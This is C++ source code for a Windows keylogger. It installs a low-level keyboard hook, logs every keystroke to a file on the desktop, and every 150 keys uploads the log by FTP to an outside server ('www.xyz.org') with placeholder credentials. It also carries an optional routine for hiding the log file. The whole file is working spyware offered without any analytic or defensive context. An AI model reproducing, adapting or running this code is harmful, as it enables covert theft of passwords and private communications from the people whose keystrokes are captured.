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#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i<strlen(path);i++){
if (ret[i] == '\\'){
isFullPath = true;
}
}
if (isFullPath){
ret = (char *)((DWORD)path + lstrlen(path) - 1);
while (*ret != '\\')
ret--;
ret++;
}
return ret;
}
FILE * f;
HHOOK hKeyboardHook;
/*Change file attributes to hidden*/
void hide_file(char * file)
{
if (GetFileAttributes(file) != 0x22)
SetFileAttributes(file,0x22);
}
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
char desktop[260];
if (SUCCEEDED(SHGetFolderPath(NULL,
CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
NULL,
SHGFP_TYPE_CURRENT,
desktop)))
{
strcpy(ret,desktop);
return true;
}
else
{
ret = NULL;
return false;
}
}
//Multiple concatenation
char *dupcat(const char *s1, ...){
int len;
char *p, *q, *sn;
va_list ap;
len = strlen(s1);
va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
len += strlen(sn);
}
va_end(ap);
p = new char[len + 1];
strcpy(p, s1);
q = p + strlen(p);
va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
strcpy(q, sn);
q += strlen(q);
}
va_end(ap);
return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
/*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
{
BOOL t = false;
HINTERNET hint,hftp;
hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return t;
}
static int keysPressed = 0; //Lets count the keys pressed
LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
char currentDirectory[260];
char * workFullPath;
if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
if (truth)
{
//Concatenate desktop directory and files
workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
f = fopen(workFullPath,"a+"); //Open the file
}
KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked_key.scanCode << 16;
dwMsg += hooked_key.flags << 24;
char lpszKeyName[1024] = {0};
lpszKeyName[0] = '[';
int i = GetKeyNameText(dwMsg, (lpszKeyName + 1),0xFF) + 1;
int key = hooked_key.vkCode;
lpszKeyName[i] = ']';
//Key value or something else ?
//if the key if from A-Z,a-z,0-9 then add this to file
if (key >= 'A' && key <= 'Z')
{
if (GetAsyncKeyState(VK_SHIFT) >= 0)
key += 0x20;
if (f != NULL)
fprintf(f,"%c", key);
}
//else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
else
{
if (f != NULL)
fprintf(f,"%s", lpszKeyName);
}
keysPressed ++;
if (keysPressed == 150) //Enough data
{
//extractFilename is used to extract only the file from path:Example: C:\data\x.php,
//extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
keysPressed = 0;
}
//You can make the file hidden :))
//hide_file(workFullPath);
fclose(f);
}
return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
DWORD WINAPI JACKAL(LPVOID lpParm)
{
HINSTANCE hins;
hins = GetModuleHandle(NULL);
hKeyboardHook = SetWindowsHookEx ( WH_KEYBOARD_LL, (HOOKPROC) Keylogger, hins, 0);
MSG message;
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage( &message );
DispatchMessage( &message );
}
UnhookWindowsHookEx(hKeyboardHook);
return 0;
}
void main(){
JACKAL(NULL);
}
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